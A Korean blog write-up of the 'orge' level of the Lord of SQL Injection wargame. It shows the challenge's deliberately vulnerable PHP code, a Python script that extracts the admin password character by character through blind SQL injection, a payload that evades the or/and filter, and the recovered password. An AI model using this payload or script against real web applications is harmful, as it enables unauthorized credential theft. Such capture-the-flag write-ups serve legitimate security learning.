WARGAME/Lord of sql injection

LORD OF SQL INJECTION ORGE 풀이

msh1307 2022. 5. 13. 21:53

소스 코드


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>
 
cs

풀이


or과 and가 필터링이 되고.이나 _같은 것들도 필터링이 된다.

pw만 파라미터로 받아주고 id는 guest로 고정해서 한번 쿼리문이 가고, 반환되는 id가 있으면, Hello guest나 admin 이런 식으로 반환이 된다. 이를 통해서 참 거짓을 알아낼 수 있다. 그리고 다시 id가 admin으로 고정된 쿼리문을 하나 더 보내고, db에서 pw를 받아와서 파라미터로 받은 pw와 같으면 문제가 풀린다. admin의 비밀번호를 알아내야 하기 때문에, blind sql injection을 해야 된다. 파이썬 requests를 사용해서 코드를 짰다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
from time import sleep
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php';
pos = 1;pwd=[];pw = 0;cookie = {"PHPSESSID":"41f7pur0g8mumdbktab1v6r10j"};
query = f'?pw=%27||%20ascii(substr(pw,{pos},1))={pw}%26%26id=%27admin%27--%20';
re = requests.get(url,cookies=cookie);
for i in range(10):
    pos = i+1;
    sleep(1);
    for j in range(48,58,1):
        pw=chr(j);query = f'?pw=%27||%20ascii(substr(pw,{pos},1))={j}%20%26%26id=%27admin%27--%20';
        re = requests.get(url+query,cookies=cookie);
        print(f"query : {query}");
        if(re.text.find('Hello admin')!=-1):
            pwd.append(pw);
            print(f"found : {pw}\n");
            break;
    for j in range(65,91,1):
        pw=chr(j);query = f'?pw=%27||%20ascii(substr(pw,{pos},1))={j}%20%26%26id=%27admin%27--%20';
        re = requests.get(url+query,cookies=cookie);
        print(f"query : {query}");
        if(re.text.find('Hello admin')!=-1):
            pwd.append(pw);
            print(f"found : {pw}\n");
            break;
    for j in range(97,123,1):
        pw=chr(j);query = f'?pw=%27||%20ascii(substr(pw,{pos},1))={j}%20%26%26id=%27admin%27--%20';
        re = requests.get(url+query,cookies=cookie);
        print(f"query : {query}");
        if(re.text.find('Hello admin')!=-1):
            pwd.append(pw);
            print(f"found : {pw}\n");
            break;
print(pwd);
 
cs

세션 id를 같이 보내줘서 requests로 긁어오게 해 준다.

substr(문자열, 인덱스, 길이)를 통해서 하나씩 문자열을 가져와주고 ascii로 아스키 문자를 10진수로 바꿔줬다. 

코드에서 인덱스가 1부터 시작하는 이유는 sql의 인덱스는 1부터 시작해서 그렇다.

비밀번호를 10자리 정도로 잡아주고 아스키코드를 하나씩 비교하면서 만약 Hello admin이 나오면 배열에 추가해줬다.

비밀번호가 10자리보다 많으면 배열에 10자리가 다 찰 테니 그때 다시 range를 더 크게 잡아주면 된다.

아스키코드표이다. 보면 숫자와 영어 문자들을 비교하는 것을 알 수 있다.

만약 비밀번호를 얻고 입력했을 때 안되면 나중에 특수문자도 포함시켜줘야 할 수 있다.

 

코드에서 파라미터를? pw=%27||ascii(substr(pw, {pos},1))={j}%20%26%26id=%27 admin%27--%20로 넘겨주었다.

결과적으로 쿼리문은 select id from prob_orge where id='guest' and pw=''||ascii(substr(pw,인덱스,1))=아스키&&id='admin'-- 가 되고, 값들이 변하면서 만족하는 값들을 찾아줄 것이다. 

%20은 url 인코딩으로 공백을 뜻하고, %27은 '를 뜻한다. 이것들은 그냥 입력해도 어차피 자동으로 인코딩 되어서 상관이 없다.

하지만 %26과 --%20 부분의 %20은 꼭 미리 인코딩을 해줘야 한다.

그 이유는 &는 url에서 파라미터를 넘겨줄 때 구분하기 위해서 사용되기 때문이다. --뒤에 띄어쓰기를 해줘도 url 정규화 과정에서 공백이 사라지기 때문에 %20을 넣어줘야 공백을 입력해줄 수 있다.

잘 찾는 걸 볼 수 있다.

비밀번호를 얻을 수 있다.

id랑은 상관없이 pw만 일치하면 되기 때문에 파라미터로 비밀번호를 넘겨주면 풀 수 있다.

?pw=7b751aec를 넘겨주면 풀린다.